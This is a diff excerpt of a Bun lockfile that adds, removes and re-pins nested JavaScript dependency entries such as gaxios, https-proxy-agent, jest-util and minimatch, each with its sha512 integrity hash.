- "gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="],
+ "gaxios/https-proxy-agent": ["https-proxy-agent@5.0.1", "", { "dependencies": { "agent-base": "6", "debug": "4" } }, "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="],
- "gcp-metadata/gaxios": ["gaxios@5.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^5.0.0", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-95hVgBRgEIRQQQHIbnxBXeHbW4TqFk4ZDJW7wmVtvYar72FdhRIo1UGOLS2eRAKCPEdPBWu+M7+A33D9CdX9rA=="],
+ "glob/minimatch": ["minimatch@10.1.1", "", { "dependencies": { "@isaacs/brace-expansion": "^5.0.0" } }, "sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ=="],
- "glob/minimatch": ["minimatch@10.2.4", "", { "dependencies": { "brace-expansion": "^5.0.2" } }, "sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg=="],
+ "google-auth-library/gaxios": ["gaxios@6.2.0", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-H6+bHeoEAU5D6XNc6mPKeN5dLZqEDs9Gpk6I+SZBEzK5So58JVrHPmevNi35fRl1J9Y5TaeLW0kYx3pCJ1U2mQ=="],
"google-auth-library/gcp-metadata": ["gcp-metadata@6.1.1", "", { "dependencies": { "gaxios": "^6.1.1", "google-logging-utils": "^0.0.2", "json-bigint": "^1.0.0" } }, "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A=="],
- "happy-dom/whatwg-mimetype": ["whatwg-mimetype@3.0.0", "", {}, "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q=="],
+ "googleapis-common/gaxios": ["gaxios@6.2.0", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-H6+bHeoEAU5D6XNc6mPKeN5dLZqEDs9Gpk6I+SZBEzK5So58JVrHPmevNi35fRl1J9Y5TaeLW0kYx3pCJ1U2mQ=="],
- "happy-dom/ws": ["ws@8.19.0", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg=="],
+ "googleapis-common/qs": ["qs@6.13.0", "", { "dependencies": { "side-channel": "^1.0.6" } }, "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg=="],
+
+ "googleapis-common/uuid": ["uuid@9.0.1", "", { "bin": "dist/bin/uuid" }, "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA=="],
+
+ "gtoken/gaxios": ["gaxios@6.2.0", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-H6+bHeoEAU5D6XNc6mPKeN5dLZqEDs9Gpk6I+SZBEzK5So58JVrHPmevNi35fRl1J9Y5TaeLW0kYx3pCJ1U2mQ=="],
"hast-util-from-html/@types/hast": ["@types/hast@2.3.10", "", { "dependencies": { "@types/unist": "^2" } }, "sha512-McWspRw8xx8J9HurkVBfYj0xKoE25tOFlHGdx4MJ5xORQrMGZNqJhVQWaIbm6Oyla5kYOXtDiopzKRJzEOkwJw=="],
@@ -6361,22 +5871,12 @@
"http-proxy-agent/agent-base": ["agent-base@7.1.3", "", {}, "sha512-jRR5wdylq8CkOe6hei19GGZnxM6rBGwFl3Bg0YItGDimvjGtAvdZk4Pu6Cl4u4Igsws4a1fd1Vq3ezrhn4KmFw=="],
- "http-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "https-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
"import-from/resolve-from": ["resolve-from@5.0.0", "", {}, "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="],
"import-in-the-middle/cjs-module-lexer": ["cjs-module-lexer@1.2.3", "", {}, "sha512-0TNiGstbQmCFwt4akjjBg5pLRTSyj/PkWQ1ZoO2zntmg9yLqSRxwEa4iCfQLGjqhiqBfOJa7W/E8wfGrTDmlZQ=="],
- "ioredis/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
"is-bun-module/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
- "istanbul-lib-instrument/@babel/core": ["@babel/core@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-module-transforms": "^7.28.3", "@babel/helpers": "^7.28.4", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw=="],
-
- "istanbul-lib-instrument/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
"istanbul-lib-instrument/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
"istanbul-lib-report/make-dir": ["make-dir@4.0.0", "", { "dependencies": { "semver": "^7.5.3" } }, "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw=="],
@@ -6385,96 +5885,102 @@
"istanbul-lib-source-maps/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
- "istanbul-lib-source-maps/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "jake/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
-
"jest-changed-files/execa": ["execa@5.1.1", "", { "dependencies": { "cross-spawn": "^7.0.3", "get-stream": "^6.0.0", "human-signals": "^2.1.0", "is-stream": "^2.0.0", "merge-stream": "^2.0.0", "npm-run-path": "^4.0.1", "onetime": "^5.1.2", "signal-exit": "^3.0.3", "strip-final-newline": "^2.0.0" } }, "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg=="],
- "jest-circus/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "jest-changed-files/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
"jest-circus/jest-matcher-utils": ["jest-matcher-utils@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0", "chalk": "^4.1.2", "jest-diff": "30.2.0", "pretty-format": "30.2.0" } }, "sha512-dQ94Nq4dbzmUWkQ0ANAWS9tBRfqCrn0bV9AMYdOi/MHW726xn7eQmMeRTpX2ViC00bpNaWXq+7o4lIQ3AX13Hg=="],
+ "jest-circus/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
+
"jest-circus/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
"jest-circus/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "jest-config/@babel/core": ["@babel/core@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-module-transforms": "^7.28.3", "@babel/helpers": "^7.28.4", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw=="],
+ "jest-cli/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
"jest-config/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
+ "jest-config/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
+
"jest-config/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
"jest-config/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
"jest-diff/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
+ "jest-each/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
+
"jest-each/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
- "jest-environment-jsdom/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "jest-environment-node/@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="],
- "jest-environment-node/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "jest-environment-node/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
+
+ "jest-environment-node/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
"jest-file-loader/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "jest-haste-map/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "jest-haste-map/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
"jest-leak-detector/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
"jest-matcher-utils/jest-diff": ["jest-diff@29.7.0", "", { "dependencies": { "chalk": "^4.0.0", "diff-sequences": "^29.6.3", "jest-get-type": "^29.6.3", "pretty-format": "^29.7.0" } }, "sha512-LMIgiIrhigmPrs03JHpxUh2yISK3vLFPkAodPeo0+BuF7wA2FoQbkEg1u8gBYBThncu7e1oEDUfIXVuTqLRUjw=="],
- "jest-message-util/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
"jest-message-util/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
"jest-message-util/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "jest-mock/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "jest-mock/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
+
+ "jest-resolve/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
"jest-resolve/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "jest-runner/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "jest-runner/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
"jest-runner/source-map-support": ["source-map-support@0.5.13", "", { "dependencies": { "buffer-from": "^1.0.0", "source-map": "^0.6.0" } }, "sha512-SHSKFHadjVA5oR4PPqhtAVdcBWwRYVd6g6cAXnIbRiIwc2EhPrTuKUBdSLvlEKyIP3GCf89fltvcZiP9MMFA1w=="],
- "jest-runtime/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "jest-runtime/@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="],
"jest-runtime/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
+ "jest-runtime/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
+
+ "jest-runtime/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
+
"jest-runtime/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
"jest-runtime/strip-bom": ["strip-bom@4.0.0", "", {}, "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w=="],
- "jest-snapshot/@babel/core": ["@babel/core@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-module-transforms": "^7.28.3", "@babel/helpers": "^7.28.4", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw=="],
-
- "jest-snapshot/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "jest-snapshot/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
"jest-snapshot/@jest/expect-utils": ["@jest/expect-utils@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0" } }, "sha512-1JnRfhqpD8HGpOmQp180Fo9Zt69zNtC+9lR+kT7NVL05tNXIi+QC8Csz7lfidMoVLPD3FnOtcmp0CEFnxExGEA=="],
"jest-snapshot/expect": ["expect@30.2.0", "", { "dependencies": { "@jest/expect-utils": "30.2.0", "@jest/get-type": "30.1.0", "jest-matcher-utils": "30.2.0", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-u/feCi0GPsI+988gU2FLcsHyAHTU0MX1Wg68NhAnN7z/+C5wqG+CY8J53N9ioe8RXgaoz0nBR/TYMf3AycUuPw=="],
"jest-snapshot/jest-matcher-utils": ["jest-matcher-utils@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0", "chalk": "^4.1.2", "jest-diff": "30.2.0", "pretty-format": "30.2.0" } }, "sha512-dQ94Nq4dbzmUWkQ0ANAWS9tBRfqCrn0bV9AMYdOi/MHW726xn7eQmMeRTpX2ViC00bpNaWXq+7o4lIQ3AX13Hg=="],
+ "jest-snapshot/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
+
"jest-snapshot/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
"jest-snapshot/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
"jest-snapshot/synckit": ["synckit@0.11.11", "", { "dependencies": { "@pkgr/core": "^0.2.9" } }, "sha512-MeQTA1r0litLUf0Rp/iisCaL8761lKAZHaimlbGK4j0HysC4PLfqygQj9srcs0m2RdtDYnF8UuYyKpbjHYp7Jw=="],
- "jest-util/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
